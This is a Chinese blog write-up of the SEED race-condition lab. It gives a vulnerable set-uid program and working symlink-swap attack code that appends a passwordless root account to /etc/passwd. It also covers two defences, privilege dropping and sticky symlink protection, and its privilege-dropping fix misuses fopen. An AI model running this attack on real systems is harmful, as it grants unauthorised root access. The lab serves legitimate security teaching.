信息安全 SEED Lab7 Race Condition Vulnerability Lab

2023-10-07 20:50

本文主要是介绍信息安全 SEED Lab7 Race Condition Vulnerability Lab,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

整个实验主要是实施竞态攻击。先用下面的命令禁止使用全局可写目录的符号连接

// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0

有漏洞的示例代码如下:

/* vulp.c */
#include <stdio.h>
#include<unistd.h>int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );if(!access(fn, W_OK)){fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");return 0;
}

编译并设为root  set-uid 程序

gcc -o vulp vulp.c
sudo chown root vulp
sudo chmod 4755 vulp

 

1. Task 1

由于后面要用竞态攻击来向系统添加新的拥有root权限的用户,这就涉及到到在/etc/passwd文件中新增内容,这个部分主要是确定添加的内容。

root用户对应的内容为,第一个字段为用户名,第二个字段为密码的哈希,如为x则表示密码在/etc/shadow文件中,其他就不细说了。

root:x:0:0:root:/root:/bin/bash

空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到passwd_input文件中

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

同时将这一行添加到/etc/passwd文件的最后,尝试用test用户进行登录,可以发现可以无密码登录,且有root权限。

最后要记得将那一行从/etc/passwd中删去,后面我们将通过竞态攻击来向/etc/passwd增添内容

 

2. Task 2

2.1. Task 2.A

这部分主要是实施竞态攻击来向系统添加新的拥有root权限的用户。

要添加用户,必须在/etc/passwd中添加新的一行。其中的密码是真实密码的哈希值。空密码的哈希值为 U6aMy0wojraho,所以要添加的一行如下,将其保存到passwd_input文件中

新建一个脚本,不停地运行上面的有漏洞的程序,并每次用ls -l /etc/passwd 对比初始的 来判断文件内容是否发送变化,即攻击是否成功。内容如下:

#!/bin/bash 
CHECK_FILE="ls -l /etc/passwd" 
old=$($CHECK_FILE) 
new=$($CHECK_FILE) 
while [ "$old" == "$new" ]
do ./vulp < passwd_input new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

用来进行攻击的代码如下:

#include <unistd.h>int main() {while(1) {unlink("/tmp/XYZ");symlink("/dev/null", "/tmp/XYZ");usleep(1000);unlink("/tmp/XYZ");symlink("/etc/passwd", "/tmp/XYZ");usleep(1000);}return 0;
}

一起运行,等几秒可以发现成功修改了/etc/passwd文件

多尝试几次,发现也有运行很久都没攻击成功的时候,此时查看/tmp/XYZ信息,可以发现owner为root, 攻击程序是普通权限,所以没有权限去修改/tmp/XYZ指向,造成攻击失败。

如出现上述情况,可以删掉这个文件再尝试。其中攻击代码中加的usleep也是为了避免这种情况出现。

 

2.1. Task 2.B

这个部分应该是新增,它讨论了上面攻击失败时/tmp/XYZ所有者变成root的原因。

原因就是攻击程序本身也存在竞态漏洞,非常讽刺。unlink和symlink是两个调用,如果在中间发生进程切换,这时被攻击的进程刚好运行使用a+标志的fopen时,/tmp/XYZ文件并不存在,因此会创建 /tmp/XYZ,用户为euid, 也就是root。此后攻击代码只有普通权限,无法修改root的文件的符号指向,所以攻击失败。

根本原因是unlink 和 symlink被分开了,其实他们应该是一个原子性的整体。

实验中的示例代码如下,但必须注意这个代码其实存在一样的问题,我们需要对其进行修改。

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>int main()
{while(1) {unsigned int flags = RENAME_EXCHANGE;unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);}return 0;
}

修改后的代码如下, 即开始处先创建两个符号链接分别指向/dev/null 和 /etc/passwd,然后每次循环让他们互相交换两次即可。

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>int main()
{unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");while(1) {unsigned int flags = RENAME_EXCHANGE;syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);}return 0;
}

修改之后,多次尝试都能很快攻击成功,不会出现上面owner被改成root导致攻击失败的情况。

 

3. Task 3

这部分主要是实施一个防御措施,即在open和write文件时临时关闭特权,之后再恢复。

具体代码如下:

/* vulp.c */
#include <stdio.h>
#include<unistd.h>int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );uid_t real_uid = getuid();uid_t eff_uid = geteuid();seteuid(real_uid);if(!access(fn, W_OK)){fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");seteuid(eff_uid);return 0;
}

攻击结果如下,可以看到一堆段错误,因为在攻击成功时会用普通权限去写入/etc/passwd,权限不够,所以段错误。

更好的是改成下面的代码,因为在fopen函数前effective uid 已经等于 real uid, 所以就不再需要access函数进行判断了。

/* vulp.c */
#include <stdio.h>
#include<unistd.h>int main()
{char * fn = "/tmp/XYZ";char buffer[60];FILE *fp;/* get user input */scanf("%50s", buffer );uid_t real_uid = getuid();uid_t eff_uid = geteuid();seteuid(real_uid);fp = fopen(fn, O_WRITE);if (fp != -1) {fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}else printf("No permission \n");seteuid(eff_uid);return 0;
}

 

4. Task 4

这部分主要是打开系统的粘滞符号链接保护,再进行攻击。

// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=1

攻击结果如下,运行很久之后,可以看到报了很多的段错误,且攻击失败,文件内容未被修改。

这个防御措施的原理如下:

如果一个目录的other权限设置有写和执行权限的话,那么别的用户也是可以在该目录下进行创建文件和删除文件等操作。

/tmp 是一个大家都能读写删除文件的文件夹,其所有者为root, 在没有粘滞比特位的情况下,它的 other 权限为 rwx。这时一个用户可以删除另一个用户在/tmp下的文件,这是有问题的。

粘滞位权限便是针对此种情况设置,当⽬录被设置了粘滞位权限以后,即便⽤户对该⽬录有写⼊权限,也不能删除该⽬录中其他⽤户的⽂件数据,⽽是只有该⽂件的所有者和root⽤户才有权将其删除。设置了粘滞位之后,正好可以保持⼀种动态的平衡:允许各⽤户在⽬录中任意写⼊、删除数据,但是禁⽌随意删除其他⽤户的数据。

对于全局可写的粘滞目录,开启保护后,其中的符号链接只有在符号链接的所有者和 (目录的所有者,进程的有效ID) 其中一个 一样的时候,才是有效的,否则系统不让使用。

在实验里,进程有效ID为root, 目录所有者为root,符号链接所有者为seed(非root), 都不匹配,所以没有权限使用,因此报段错误程序终止。

这篇关于信息安全 SEED Lab7 Race Condition Vulnerability Lab的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/160360

相关文章

系统架构设计师: 信息安全技术

简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo : 文章目录 系统架构设计师: 信息安全技术前言信息安全的基本要素:信息安全的范围:安全措施的目标:访问控制技术要素:访问控制包括:等保

【Spring Boot】 SpringBoot自动装配-Condition

目录 一、前言二、 定义2.1 @Conditional2.2 Condition2.2.1 ConditionContext 三、 使用说明3.1 创建项目3.1.1 导入依赖3.1.2 添加配置信息3.1.3 创建User类3.1.4 创建条件实现类3.1.5 修改启动类 3.2 测试3.2.1 当user.enable=false3.2.2 当user.enable=true 3.3

Java并发:互斥锁,读写锁,Condition,StampedLock

3,Lock与Condition 3.1,互斥锁 3.1.1,可重入锁 锁的可重入性(Reentrant Locking)是指在同一个线程中,已经获取锁的线程可以再次获取该锁而不会导致死锁。这种特性允许线程在持有锁的情况下,可以递归地调用自身的同步方法或代码块,而不会因为再次尝试获取相同的锁而被阻塞。显然,通常的锁都要设计成可重入的。否则就会发生死锁。 synchronized关键字,就是

信息安全工程师模拟测试题

信息安全工程师:信息安全工程师证书属于软考中级资格证书之一,为了适应“十三五”期间计算机软件行业发展需要,满足社会多方对信息安全技术人员的迫切需求,信息安全工程师在2016年下半年首次开考,目前一年仅考一次。 信息安全工程师模拟测试题 一、基础知识二、软件应用 信息安全工程师 属于《国家职业资格目录(2021年版)》目录中的证书,通过考试将颁发由人社局和工信部盖章

【硬刚Java并发】JUC基础(七):Condition 控制线程通信

本文是对《【硬刚大数据之学习路线篇】从零到大数据专家的学习指南(全面升级版)》的Java并发部分补充。 Condition Condition 接口描述了可能会与锁有关联的条件变量。这些变量在用法上与使用 Object.wait 访问的隐式监视器类似,但提供了更强大的功能。需要特别指出的是,单个 Lock 可能与多个 Condition 对象关联。为了避免兼容性问题,Condition 方法的

java线程 yield,sleep,join,synchronized wait notify notifyAll,ReentrantLock lock condition, 生产者消费者

yield,sleep,join yield,join,sleep,join是Thread中的方法,不需要 在synchronized 代码块中调用,和synchronized 没关系,也不会释放锁。 Thread.sleep(100);Thread.yield();Thread t;t.join(); (1)yield()不一定保证让出cpu yield()只是使当前线程重新回

信息安全威胁

关注这个证书的其他相关笔记:NISP 一级 —— 考证笔记合集-CSDN博客 0x01:我国面临的信息安全威胁 从受威胁的对象来看,可以将我国面临的信息安全威胁分为三类:国家威胁、组织威胁和个人威胁。 来自国家的威胁: 恐怖组织通过网络大肆发布恐怖信息,渲染暴力活动。 邪教组织通过网络极力宣扬种族歧视,煽动民族仇恨,破坏民族团结,宣扬邪教理念,破坏国家宗教政策,煽动社会不满情绪,

信息安全发展阶段与形式

关注这个证书的其他相关笔记:NISP 一级 —— 考证笔记合集-CSDN博客 0x01:信息安全的发展阶段 信息安全的发展阶段可以参照下面的思维导图: 0x02:我国的信息安全形式 2013 年,“棱镜门” 事件在全球持续发酵,隐藏在互联网背后的国家力量和无所不在的 “监控” 之手,引起舆论哗然和网络空间的连锁反应。全球范围内陡然上升的网络攻击威胁,导致各国对信息安全的重视程度急

信息与信息安全

关注这个证书的其他相关笔记:NISP 一级 —— 考证笔记合集-CSDN博客 0x01:信息与信息技术 0x0101:如何理解 “信息” 的含义 信息是有意义的数据,它具有一定价值,是一种需要适当保护的资产。数据是反映客观事物属性的记录,是信息的具体表现形式。数据经过加工处理之 后,就成为信息;而信息需要经过数字化处理转变成数据才能存储和传输。 0x0102:“信息” 的功能有哪些

sqli-lab靶场学习(一)——Less1

前言 最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。 安装部署 网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过